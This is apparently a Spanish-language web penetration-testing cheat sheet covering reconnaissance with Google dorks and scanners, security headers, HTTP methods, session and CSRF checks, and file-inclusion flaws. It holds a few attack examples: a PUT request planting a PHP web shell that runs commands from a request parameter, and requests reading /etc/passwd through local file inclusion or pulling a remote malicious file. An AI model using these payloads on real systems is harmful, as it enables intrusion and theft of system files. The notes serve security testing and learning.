Comment on page
🕸

Web

0. FOOTPRINT & FINGERPRINT

0.1. FOOTPRINT

Recolección de información de la weba basándonos en fuentes públicas (publicado en internet) sin interacción directa con la aplicación web. Google Dorks
  • site:domain
  • allinurl:domain
  • inurl:domain
  • allintitle:domain
  • intitle:domain
  • intext:domain
  • "domain"
  • cache:domain
  • link:domain
  • filetype:[.pdf|.txt.|.php|.html|.db|...]

0.2. FINGERPRINT

Recolección de información a través de interacción directa con la aplicación web.

0.2.1. Mirar código fuente

  • secure -> fuerza el uso de HTTPS
  • httpOnly -> evita XSS
  • SameSite -> mejora la protección contra CSRF [SameSite=Strict]

0.2.3. HTTP

0.2.3.1. Cabeceras HTTP
Las Cabeceras HTTP son los parámetros que se envían en una petición o respuesta HTTP al cliente o al servidor para proporcionar información esencial sobre la transacción en curso. Dentro de estas cabeceras existen unas específicas que se consideran cabeceras de seguridad, ya que su configuración proporciona capas extra se seguridad a la aplicación.
  • HSTS, HTTP Strict Transport Security. Permite "decirle" a un navegador que siempre "quiere" que un usuario se conecte usando HTTPs en lugar de HTTP, de forma que evita ataques de MiTM.
  • X-Frame-Opitions. El servidor le indica al cliente que la página no puede ser cargada en un iframe. Protege a los clientes contra ataques de clickjacking. Opciones:
    • Same Origin: Desde el mismo dominio.
    • Deny: De ningún dominio.
    • Allow from: De determinado dominio.
  • X-Xss-Protection. Se usa para configurar la protección contra XSS Reflejados. Las configuraciones válidas para el encabezado son:
    • 0 -> deshabilita la protección
    • 1 -> habilita la protección
    • 1; mode=block -> indica al navegador que bloquee la respuesta si detecta un ataque.
  • Content-Security-Policy. Directivas:
    • script-src: Definir desde dónde los scripts se pueden ejecutar.
    • img-src: Definir desde dónde se pueden cargar imágenes.
    • media-scr: Definir desde dónde se pueden cargar videos/audio.
    • frame-src: Definir desde dónde se pueden incrustar iframes.
    • default-src: Definir la política de carga para todo tipo de recursos.
  • X-Content-Type-Options. Es usado cuando se permite que usuarios suban contenido a la aplicación.
    • MIME sniffing: Inspecciona el contenido para determinar el formato (text, video, etc).
    • X-Content-Type-Options:nosniff.
Herramientas en local:
Herramientas online:
0.2.3.2. Métodos HTTP
  • GET -> Envío de información, la información se envía en la propia URL
  • POST -> Envío de información, la información se envía en el cuerpo de la petición (recomendada para enviar información sensible al servidor, por ejemplo peticiones de login)
  • OPTIONS -> Devuelve métodos HTTP aceptados por el servidor
  • PUT -> Permite enviar datos al servidor
PUT /test/shell.php HTTP 1.1
Host: ejemplodehost.meow
...
<?php echo system(($_REQUEST['cmd'])); ?>
  • TRACE -> Se usa para depurar mensajes con la función de eco para los mensajes HTTP, con el fin de comprobar que las peticiones realizadas son recibidas correctamente en el servidor.
  • CONNECT --> Permite crear un túnel HTTP a través de un servidor proxy.
CONNECT ejemplodehost.meow:443 HTTP/1.1
Host: ejemplodehost.meow:443
DEBUG ->
DEBUG / HTTP 1.1
Host: ejemplodehost.meow
...
Command: stop-debug
0.2.3.3. HTTP Smuggling
Los recursos de PortSwigger lo explican genial:

0.2.4. Metadatos

  • Filtrar el URI donde se encuentran ficheros - $ grep -w "" | cut -d "" -f2 > output.txt
  • Descargar ficheros de la web - $ wget -i output.txt
  • Analizar el contenido de ficheros - $ exiftool -j /path/where/files/are/located
Herramientas Online

1. SERVICIOS

  • NMAP
nmap -sV -vv IP|dominio --script vulners
masscan IP|dominio -p numPuerto
amass enum -d dominio
subfinder -v -d dominio
Herramientas online:

2. DIRECTORIOS/FICHEROS

  • DIRB
    -X -> extensión
dirb domain -X .html /path/to/wordlist
  • GOBUSTER
    -s -> evita mostrar resultados con XXX tipo de error
    -r -> sigue la redirección
    -wildcard -> salta la verificación de certificado SSL
gobuster dir --url https://IP:port/ --wordlist /path/to/wordlist -s 301,302,304,400,401,403,404,500 -r --wildcard
    • -e --> filtra por diferentes tipos de extensiones de ficheros
    • -F --> hace búsquedas recursivas
python3 dirsearch/dirsearch.py -u https://domain -w /path/to/wordlist -e all -F
  • WFUZZ
    • buscar directorios - $ wfuzz -w /path/to/wordlist domain/FUZZ
    • buscar ficheros - $ wfuzz -w /path/to/wordlist domain/FUZZ.html

2.1. Metadatos

  • Descargar el código fuente de la web:
wget -m URL
  • Filtra las URIs donde se encuentran ubicados los ficheros:
grep -w "" | cut -d "" -f2 > output.txt
  • Descarga los ficheros de la web:
wget -i output.txt
exiftool /path/to/files/directory

3. CONFIGURACION DEL SERVIDOR

  • NIKTO
nikto -h IP|dominio:puerto

WAF

Herramientas de detección:

4. TLS/SSL

Evaluar conexiones SSL/TLS para asegurar que los cifrados son robustos. Se evalúan protocolos aceptados por el servidor, suites de cifrado, vulnerabilidades SSL conocidas que puedan afectar al servidor...
Herramientas:

5. Fuerza Bruta

Evadir Basic/Digest Authentication:

6. INPUTS

Vulnerabilidades derivadas de una validación incorrecta de los datos de entrada en el servidor.
Para su explotación, es recomendable hacer uso de diccionarios de payloads, según el tipo que corresponda.

6.1. XSS

6.2. SQLi

6.3. SSRF

El Server-side Request Forgery (SSRF) pretende realizar peticiones al servidor solicitando que recursos del backend ejecuten funciones maliciosas.

7. Autenticación y Autorización

7.1. Sesiones

Si la aplicación tiene parte privada (formulario de login), se debe revisar cómo gestiona a las sesiones de los usuarios. Comprobar:
  • ¿Cambia la cookie de sesión cuando inicio sesión? --> Session fixation
  • ¿La cookie se da de baja en el servidor cuando cierro sesión?
  • ¿Puedo hacer peticiones válidas al servidor con cookies que deberían estar invalidadas?
  • Atributos de la cookie de sesión:
    • httponly
    • secure

7.1.1. CSRF (Cross-Site Request Forgery)

Busca ejecutar funcionalidades de usuarios autenticados, de forma que:
  • Es necesario que la víctima esté autenticada en la aplicación vulnerable.
  • A través de ingeniería social, el atacante engaña a la víctima para que, por ejemplo, haga click en un enlace que ejecuta una petición en la aplicación, con su sesión (de la víctima).
  • El usuario no es consciente de la ejecución de la petición.
  • Se abusa de la confianza que la aplicación tiene en sus usuario.

7.2. Roles

En el caso de haber diferentes roles de usuarios, se debe revisar los permisos de cada uno en la aplicación y si se gestiona correctamente la autorización, de forma que cada usuario sólo tiene permiso a las acciones que necesita y no puede ejecutar otras acciones de otros roles:
  • Analizar los permisos (accesos y funcionalidades) de cada tipo de rol.
  • ¿puedo acceder a rutas/funcionalidades de otro rol?

7.3. CORS

8. LFI/RFI

Estas vulnerabilidades afectan a la subida de ficheros en una aplicación web.

8.1. Local File Inclusion

Acceso a ficheros dentro de un mismo servidor, ejecutando código en la aplicación para acceder a recursos del servidor.
GET dominio.meow/ejemplolfi.php?file=../../../etc/passwd HTTP/1.1

8.2. Remote File Inclusion

Acceso a ficheros en servidores remotos.
GET dominio.meow/ejemplorfi.php?file=dominioRemoto/ficheroMalicioso HTTP/1.1

9. JWT

Herramientas:

10. Captcha

Analiza las respuestas del servidor si:
  • Elimina el valor del parámetro.
  • Reusas el valor del parámetro (usa el repeater de Burp).

Recursos y enlaces de referencia:

Para practicar en Web

Last modified 1yr ago